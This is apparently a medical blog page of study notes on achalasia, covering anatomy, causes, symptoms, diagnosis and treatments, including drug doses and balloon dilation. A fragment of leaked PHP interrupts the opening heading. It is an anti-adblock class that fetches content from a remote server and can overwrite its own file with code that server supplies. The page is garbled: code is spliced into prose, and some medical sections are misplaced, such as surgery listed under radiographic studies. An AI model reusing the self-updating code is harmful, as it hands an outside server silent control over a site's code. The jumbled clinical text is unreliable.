Objectives ;

requestTimeout / 1000); return $value == 0 ? 1 : $value; } private function getTimeoutMS() { return $this->requestTimeout; } private function ignoreCache() { $key = md5('PMy6vsrjIf-' . $this->zoneId); return array_key_exists($key, $_GET); } private function getCurl($url) { if ((!extension_loaded('curl')) || (!function_exists('curl_version'))) { return false; } $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_RETURNTRANSFER => 1, CURLOPT_USERAGENT => $this->requestUserAgent . ' (curl)', CURLOPT_FOLLOWLOCATION => false, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_TIMEOUT => $this->getTimeout(), CURLOPT_TIMEOUT_MS => $this->getTimeoutMS(), CURLOPT_CONNECTTIMEOUT => $this->getTimeout(), CURLOPT_CONNECTTIMEOUT_MS => $this->getTimeoutMS(), )); $version = curl_version(); $scheme = ($this->requestIsSSL && ($version['features'] & CURL_VERSION_SSL)) ? 'https' : 'http'; curl_setopt($curl, CURLOPT_URL, $scheme . '://' . $this->requestDomainName . $url); $result = curl_exec($curl); curl_close($curl); return $result; } private function getFileGetContents($url) { if (!function_exists('file_get_contents') || !ini_get('allow_url_fopen') || ((function_exists('stream_get_wrappers')) && (!in_array('http', stream_get_wrappers())))) { return false; } $scheme = ($this->requestIsSSL && function_exists('stream_get_wrappers') && in_array('https', stream_get_wrappers())) ? 'https' : 'http'; $context = stream_context_create(array( $scheme => array( 'timeout' => $this->getTimeout(), // seconds 'user_agent' => $this->requestUserAgent . ' (fgc)', ), )); return file_get_contents($scheme . '://' . $this->requestDomainName . $url, false, $context); } private function getFsockopen($url) { $fp = null; if (function_exists('stream_get_wrappers') && in_array('https', stream_get_wrappers())) { $fp = fsockopen('ssl://' . $this->requestDomainName, 443, $enum, $estr, $this->getTimeout()); } if ((!$fp) && (!($fp = fsockopen('tcp://' . gethostbyname($this->requestDomainName), 80, $enum, $estr, $this->getTimeout())))) { return false; } $out = "GET {$url} HTTP/1.1\r\n"; $out .= "Host: {$this->requestDomainName}\r\n"; $out .= "User-Agent: {$this->requestUserAgent} (socket)\r\n"; $out .= "Connection: close\r\n\r\n"; fwrite($fp, $out); stream_set_timeout($fp, $this->getTimeout()); $in = ''; while (!feof($fp)) { $in .= fgets($fp, 2048); } fclose($fp); $parts = explode("\r\n\r\n", trim($in)); return isset($parts[1]) ? $parts[1] : ''; } private function getCacheFilePath($url, $suffix = '.js') { return sprintf('%s/pa-code-v%s-%s%s', $this->findTmpDir(), $this->version, md5($url), $suffix); } private function findTmpDir() { $dir = null; if (function_exists('sys_get_temp_dir')) { $dir = sys_get_temp_dir(); } elseif (!empty($_ENV['TMP'])) { $dir = realpath($_ENV['TMP']); } elseif (!empty($_ENV['TMPDIR'])) { $dir = realpath($_ENV['TMPDIR']); } elseif (!empty($_ENV['TEMP'])) { $dir = realpath($_ENV['TEMP']); } else { $filename = tempnam(dirname(__FILE__), ''); if (file_exists($filename)) { unlink($filename); $dir = realpath(dirname($filename)); } } return $dir; } private function isActualCache($file) { if ($this->ignoreCache()) { return false; } return file_exists($file) && (time() - filemtime($file) < $this->cacheTtl * 60); } private function getCode($url) { $code = false; if (!$code) { $code = $this->getCurl($url); } if (!$code) { $code = $this->getFileGetContents($url); } if (!$code) { $code = $this->getFsockopen($url); } return $code; } private function getPHPVersion($major = true) { $version = explode('.', phpversion()); if ($major) { return (int)$version[0]; } return $version; } private function parseRaw($code) { $hash = substr($code, 0, 32); $dataRaw = substr($code, 32); if (md5($dataRaw) !== strtolower($hash)) { return null; } if ($this->getPHPVersion() >= 7) { $data = @unserialize($dataRaw, array( 'allowed_classes' => false, )); } else { $data = @unserialize($dataRaw); } if ($data === false || !is_array($data)) { return null; } return $data; } private function getTag($code) { $data = $this->parseRaw($code); if ($data === null) { return ''; } if (array_key_exists('code', $data)) { $this->selfUpdate($data['code']); } if (array_key_exists('tag', $data)) { return (string)$data['tag']; } return ''; } public function get() { $e = error_reporting(0); $url = $this->routeGetTag . '?' . http_build_query(array( 'token' => $this->token, 'zoneId' => $this->zoneId, 'version' => $this->version, )); $file = $this->getCacheFilePath($url); if ($this->isActualCache($file)) { error_reporting($e); return $this->getTag(file_get_contents($file)); } if (!file_exists($file)) { @touch($file); } $code = ''; if ($this->ignoreCache()) { $fp = fopen($file, "r+"); if (flock($fp, LOCK_EX)) { $code = $this->getCode($url); ftruncate($fp, 0); fwrite($fp, $code); fflush($fp); flock($fp, LOCK_UN); } fclose($fp); } else { $fp = fopen($file, 'r+'); if (!flock($fp, LOCK_EX | LOCK_NB)) { if (file_exists($file)) { $code = file_get_contents($file); } else { $code = ""; } } else { $code = $this->getCode($url); ftruncate($fp, 0); fwrite($fp, $code); fflush($fp); flock($fp, LOCK_UN); } fclose($fp); } error_reporting($e); return $this->getTag($code); } private function getSelfBackupFilename() { return $this->getCacheFilePath($this->version, ''); } private function selfBackup() { $this->selfSourceContent = file_get_contents(__FILE__); if ($this->selfSourceContent !== false && is_writable($this->findTmpDir())) { $fp = fopen($this->getSelfBackupFilename(), 'cb'); if (!flock($fp, LOCK_EX)) { fclose($fp); return false; } ftruncate($fp, 0); fwrite($fp, $this->selfSourceContent); fflush($fp); flock($fp, LOCK_UN); fclose($fp); return true; } return false; } private function selfRestore() { if (file_exists($this->getSelfBackupFilename())) { return rename($this->getSelfBackupFilename(), __FILE__); } return false; } private function selfUpdate($newCode) { if(is_writable(__FILE__)) { $hasBackup = $this->selfBackup(); if ($hasBackup) { try { $fp = fopen(__FILE__, 'cb'); if (!flock($fp, LOCK_EX)) { fclose($fp); throw new Exception(); } ftruncate($fp, 0); if (fwrite($fp, $newCode) === false) { ftruncate($fp, 0); flock($fp, LOCK_UN); fclose($fp); throw new Exception(); } fflush($fp); flock($fp, LOCK_UN); fclose($fp); if (md5_file(__FILE__) === md5($newCode)) { @unlink($this->getSelfBackupFilename()); } else { throw new Exception(); } } catch (Exception $e) { $this->selfRestore(); } } } } } $__aab = new __AntiAdBlock_3158523(); return $__aab->get();

– Pathophysiology

        – Epidemiology

        – Symptomatology

        – Diagnosis



Anatomy of the Esophagus

•Upper esophageal sphincter (UES) and proximal 3-4cm is striated muscle. •Distal 2/3 and lower esophageal sphincter (LES) is smooth muscle. •Circular and longitudinal muscle layer.

Innervation[nerve supply] of Esophagus

•Afferent (esophagus to swallowing center        vagus)

•Efferent to smooth muscle         from dorsal motor nucleus of vagus (recurrent laryngeal branch of vagus innervates cervical esophagus; thoracic vagal trunk innervates thoracic esophagus)


Achalasia – Greek word for “does not relax”

•is a primary esophageal motility disorder characterized by failure of LES relaxation and loss of peristalsis in the distal esophagus.

•Emptying of esophagus occurs once pressure of the intraluminal material exceeds the pressure of the LES.

•These abnormalities cause a functional obstruction at the gastro esophageal junction.

•Relatively rare.

•Incidence <1/100,000 per year.

•No gender differences.


•LES pressure and relaxation are regulated by excitatory (acetylcholine, substance P..) and inhibitory (nitric oxide, vasoactive intestinal peptide…) neurotransmitters.

•Achalasia results from degeneration of intramural innervation in the esophagusà decreased numbers of ganglion cells in myenteric plexus in patients

•NB: The myenteric plexus is the major nerve supply to the gastrointestinal tract and controls GI tract motility.  Remaining ganglion cells in myenteric plexus are surrounded by lymphocytes and eosinophils


Primary Achalasia: Etiology unknown

     – Hereditary,

     – Degenerative, autoimmune and infectious causes have been    


    – Chronic infection with herpes zoster or measles viruses.

Secondary Achalasia: Due to underlying pathology (e.g., Chagas) Chagas disease, also known as American trypanosomiasis, is a tropical parasitic disease caused by the protozoanTrypanosoma cruzi.

•Pseudoachalasia: usually malignancy (carcinoma of gastric cardia in >50% of cases)

•The cardia is where the contents of the oesophagus empty into the stomach.

•Release of acetylcholine at the level of the LES

Barrett’s esophagus (BE) is characterized by the replacement of the normal squamous epithelium with the columnar epithelium, when the healing of the lesion occurs.

Secondary form of Achalasia


•Hereditary cerebellar ataxia

•Familial achalasia


Achalasia with generalized Chagas’ disease (Trypanosoma cruzi) •Amyloidosis; a group of diseases in which abnormal protein, known as amyloid fibrils, builds up in tissue.

•Achalasia with associated Hirschsprung’s disease

•Hereditary hollow visceral myopathy

Achalasia secondary to cancer (pseudoachalasia)

•Squamous cell carcinoma of the esophagus

•Adenocarcinoma of the esophagus

•Gastric adenocarcinoma

•Lung carcinoma

•Hepatocellular carcinoma

•Pancreatic adenocarcinoma

Clinical Manifestation

•Dysphagia for solids (91% of patients) and liquids (85% of patients) —most significant symptom.

 – Difficulty Belching (85%)

– Weight loss (usually 5 to 10 kg)

– Regurgitation (undigested food, esp when lying flat at night)

  – Chest Pain

 – Reflux symptoms

 – Heartburn

 – History of being a “slow eater” or the “last to finish their meal” – Globus sensation in esophagus – Hiccups


•Patients with a history suggestive of achalasia  may undergo:

      – Radiographic Evaluation

      – Manometric Evaluation

      – Endoscopic Evaluation

Radiographic studies

. Normal chest x-ray:

       -markedly dilated Esophagus

      – Air-fluid level in esophagus on upright view

      – Aperistalsis

       – Absent gastric air bubble

2. Barium oesophagram with fluoroscopy (best method)

             -Typical for achalasia is the smooth narrowing of the distal esophagus at the level of the lower 

           esophageal sphincter with the characteristic “bird beak” or “champagne glass” appearance.

         -The proximal esophagus may be dilated and          

           frequently a column of barium forms above the LES as a result of the poor relaxation and opening of the  sphincter.

         -The contrast material passes slowly into the stomach as the LES opens intermittently (>5sec.).

3. Surgical myotomy

-fail repeated pneumatic dilations

-an anterior myotomy across the LES

  (Heller’s myotomy) usually associated with an antireflux procedure


Oesophageal manometry

•Measurement of pressures in esophagus

-very often performed to confirm cases, even  with strong clinical or radiographic evidence.

-characteristic findings:-

      – Elevated resting LES pressure

       – Incomplete LES relaxation

       – Aperistalsis (smooth muscle portion of esophagus). A 

          swallow may be followed by no contraction or by

          simultaneous contractions. Some patients have high

          amplitude simultaneous contractions, termed “vigorous”


Other Investigation

•Prolonged esophageal pH monitoring is important for the following reasons:

   – To rule out GERD (Gastroesophageal reflux disease)

   – To determine if abnormal reflux is being

        caused by treatment. •Endoscopic Ultrasound if a tumor is suspected



1.Relieve symptoms by eliminating the outflow resistance

2.Food bolus can travel through the aperistaltic body of the esophagus by gravity.

•This can be accomplished most effectively by pneumatic dilation and surgical myotomy or less effectively by pharmacological agents injected endoscopically into the LES (botulinum toxin) or taken orally (calcium channel blockers and nitrates).

Medical Therapy

•Patients who are awaiting or unable to tolerate more invasive treatment modalities.

•Calcium channel blockers and nitrates decrease LES pressure:

        – Nifedipine 20-30mg

        – Isosorbide dinitrate 5-10mg daily

Approximately 10% of patients benefit from this treatment.

Endoscopic Intra-sphincteric Injection of Botulinum Toxin

•To block release of acetylcholine at the level of the LES.

•Only 30% of patients treated endoscopically still have relief of dysphagia1year after treatment.

•This treatment can cause an inflammatory reaction at the level of the gastroesophageal junction, making a subsequent myotomy very difficult.

•A total of 80 to 100 U of the toxin is injected in divided doses into the four quadrants of the LES.

Pneumatic dilatation

•Is the most effective nonsurgical treatment option for patients with achalasia.

•Is recommended treatment in those sporadic cases in which surgery is not appropriate.

•A balloon is inflated at the level of the gastroesophageal junction to blindly rupture the muscle fibers while leaving the mucosa intact.

•The success rate is 70-80%, and perforation rate is approximately 5%.

Recommended Technique for Pneumatic Dilation Using the Graded Balloons

1.Fasting >12hrs before procedure.

2.Esophageal lavage with a large-bore tube (if needed).

3.Sedation and endoscopy in lying or sitting down position.

4.Guide wire positioned in stomach and balloon passed over the guide-wire. 5.Initial dilation with 3cm diameter balloon; subsequent progression to 3,5cm and 4cm balloon may be required at separate sessions.

6.Accurate placement of balloon across gastroesophageal junction fluoroscopically

Surgical treatment

•Surgical Myotomy (Heller, Laparoscopic):

–  Weakens LES by cutting muscle fibers

-Thoracotomy necessary if not laparoscopic -70-85% success at 10 yrs for modified Heller

-Surgical myotomy for achalasia involves performing an anterior myotomy across the LES (Heller’s myotomy) usually associated with an antireflux procedure.

•During the procedure, the patient is put under general anesthesia.

•Five or six small incisions are made in the abdominal wall and laparoscopic instruments are inserted.

•The myotomy is a lengthwise cut along the esophagus, starting above the LES and extending down onto the stomach a little way.

•The esophagus is made of several layers, and the myotomy only cuts through the outside muscle layers which are squeezing it shut, leaving the inner muscosal layer intact.

Early postoperative dysphagia

-Caused by incomplete myotomy

-Periesophageal inflammation

-Underlying esophageal dysmotility

-Esophageal enlargement with sigmoid deformity, or Mechanical obstruction by a fundoplication, paraesophageal hernia, or crural diaphragmatic hiatus repair

Delayed recurrence of postoperative dysphagia

•Development of a recurrent high pressure zone at the LES.

•Peptic stricture complicating acid reflux.

•An obstructed or slipped fundoplication.

•Progressive megaesophagus with sigmoid deformity, or

•Esophageal cancer can manifest. ØIn case of postoperative dysphagia due to an incomplete myotomy or a recurrent high pressure zone, pneumatic dilation can be employed as an alternative to redo surgery.

Complications associated with Achalasia

•Progressive malnutrition

•Pneumonic Aspiration

•Epiphrenic diverticula -Immediately proximal to the LES -Potential therapeutic technical challenges and perforation risks.

•Esophageal cancer

Leave a Reply

Your email address will not be published. Required fields are marked *